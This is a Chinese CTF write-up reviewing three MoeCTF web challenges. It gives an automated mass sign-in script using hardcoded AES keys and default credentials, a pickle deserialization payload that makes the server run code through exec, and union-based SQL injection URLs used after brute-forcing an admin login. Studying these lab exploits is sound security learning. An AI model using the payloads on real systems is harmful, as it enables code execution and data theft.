Write-Up MoeCTF复盘 Sherlock 2024-10-15 2024-10-17 前言 本篇复盘仅仅是针对于本次比赛中我不会的题目进行一次复盘,对于做出来的题目并不会写上相关的题解
并且仅仅是web方向的题目
Re: 从零开始的 XDU 教书生活 该题首先要对题目提供的源码理解透彻,明白每个函数的功能
题目要求是要让每个学生都正常签到才可以获得flag
其实本质上就是需要我们重复发送请求
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import requestsfrom Crypto.Cipher import AESimport base64BASE_URL = "http://127.0.0.1:8888" def encrypt_by_aes (data: str , key: str , iv: str ) -> str : key_bytes = key.encode("utf-8" ) iv_bytes = iv.encode("utf-8" ) cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes) data_bytes = data.encode("utf-8" ) pad = 16 - len (data_bytes) % 16 data_bytes = data_bytes + bytes ([pad] * pad) encrypted_bytes = cipher.encrypt(data_bytes) encrypted = base64.b64encode(encrypted_bytes).decode("utf-8" ) return encrypted def login (phone: str , password: str ): url = f"{BASE_URL} /fanyalogin" key = "u2oh6Vu^HWe4_AES" iv = "u2oh6Vu^HWe4_AES" encrypted_phone = encrypt_by_aes(phone, key, iv) encrypted_password = encrypt_by_aes(password, key, iv) data = { "uname" : encrypted_phone, "password" : encrypted_password, "t" : "true" } session = requests.Session() response = session.post(url, data=data) response_data = response.json() if response_data.get("status" ): return session else : print ("Login failed:" , response_data.get("msg2" )) return None def get_unsigned_student_accounts (session ): url = f"{BASE_URL} /widget/sign/pcTeaSignController/showSignInfo1" response = session.get(url) response_data = response.json() students = response_data["data" ]["changeUnSignList" ] return students def get_sign_code (session ): url = f"{BASE_URL} /v2/apis/sign/refreshQRCode" response = session.get(url) response_data = response.json() if response_data.get("result" ) == 1 : return response_data["data" ]["signCode" ], response_data["data" ]["enc" ] else : print ("Failed to get sign code:" , response_data.get("errorMsg" )) return None , None def sign_in (session, sign_code: str , enc: str ): url = f"{BASE_URL} /widget/sign/e" params = { "id" : str (active_id), "c" : sign_code, "enc" : enc } response = session.get(url, params=params) return response.text def end_active (session ): url = f"{BASE_URL} /widget/active/endActive" response = session.get(url) response_data = response.json() if response_data.get("result" ) == 1 : return response_data.get("errorMsg" ) else : print ("Failed to end activity:" , response_data.get("errorMsg" )) return None if __name__ == "__main__" : teacher_phone = "10000" teacher_password = "10000" active_id = 4000000000000 teacher_session = login(teacher_phone, teacher_password) if teacher_session: students = get_unsigned_student_accounts(teacher_session) sign_code, enc = get_sign_code(teacher_session) for student in students: student_session = login(str (student["uid" ]), str (student["uid" ])) if student_session and sign_code and enc: sign_in_response = sign_in(student_session, sign_code, enc) print (f"Student {student['uid' ]} sign in response:" , sign_in_response) flag = end_active(teacher_session) print ("Flag:" , flag)
PetStore 本题的关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 def import_pet (self, serialized_pet ) -> bool : try : pet_data = base64.b64decode(serialized_pet) pet = pickle.loads(pet_data) if isinstance (pet, Pet): for i in self.pets: if i.uuid == pet.uuid: return False self.pets.append(pet) return True return False except Exception: return False
可以看出来是调用了pickle的反序列化,所以我们的思路就是生成一个恶意的类对象,对其 Pickle 序列化后进行 Base64 编码,把得到的结果传入 import_pet() 方法就可以了
上网搜索下该怎么利用,发现只要被序列化的对象中存在__reduce__
方法,pickle 模块会调用这个方法来获 取对象的序列化信息。 __reduce__
方法应返回一个元组,这个元组包含两个元素:
一个可调用对象:通常是一个构造器或一个函数。这个对象在反序列化时被调 用,用于创建新的对象实例。
一个元组:包含传递给可调用对象的参数。当反序列化时,这个元组中的参数会 传递给第一个元素(可调用对象)。
当反序列化时,pickle 模块会按照以下步骤操作:
调用第一个元素(可调用对象)并传入第二个元素(元组)的解包结果作为参数。
使用可调用对象的返回值作为反序列化的结果。
__reduce__()
其实是object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。
Python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...])
,那么每当该类的对象被反序列化时,该callable
就会被调用,参数为para1、para2...
从 Dockerfile 中可以知道,题目环境中的 Python 版本是 3.12.4,且 flag 存储在环境变量 FLAG 中
我本人是通过建一个docker容器来实现序列化过程的(不是很想再配环境,比较麻烦)
序列化的python代码如下:
1 2 3 4 5 6 7 8 import base64import pickleclass Test : def __reduce__ (self ): return (exec , ("import os; store.create_pet(os.getenv('FLAG'), 'flag');" ,))if __name__ == "__main__" : print (base64.b64encode(pickle.dumps(Test())).decode("utf-8" ))
将序列化后的内容输入Import a Pet中,便可以在主页面看到flag的内容了
序列化后的内容被题目反序列化后执行的代码为exec("import os; store.create_pet('flag', os.getenv('FLAG'));")
smbms 该题为java代码审计
由于本人刚刚学完java基础,代码审计起来还是比较困难
在审计的过程中可以发现整个 java 项目都使用 PrepareStatement 预编译语句,所以一般情况下是不能注入的
但是方式都有例外,那些基础的sql语句虽然全部都是预编译过了的,但是后面还有另外增添部分查询条件的
就比如java/top/sxrhhh/dao/user/UserDaoImpl.java 文件中的getUserList函数便出现了字符串拼接的情况
1 2 3 4 if (!StringUtils.isNullOrEmpty(userName)) { sql.append(" and u.userName like '%" ).append(userName).append("%'" ); }
可以发现userName参数是直接插入进sql语句进行条件校正的,单引号包括,所以我们可以尝试逃出单引号再拼接自己的sql语句
但是要执行这个函数(即查询用户),我们需要先登录进后台
所以进行爆破,账号名为admin,密码为1234567
进入后台到查询用户处,开始sql注入,其中的%25就是%的url编码
1 /jsp/user.do?method=query&queryName=1%25'union select 1,2,database(),4,5,6,7,8,9,1,1,1,1,1 where '1' like '%251&queryUserRole=0&pageIndex=1
这里最好是使用直接闭合的方式(我之前采用注释掉后面sql语句的方式并没有奏效)
接下来都是union注入的过程,便不一一列举了
1 2 3 /jsp/user.do?method=query&queryName= 1%25' union select 1,1,group_concat(flag),4,5,6,7,8,9,1,1,1,1,1 from flag where '1'like'%251&queryUserRole=0&pageIndex=1
拿到flag,题目解决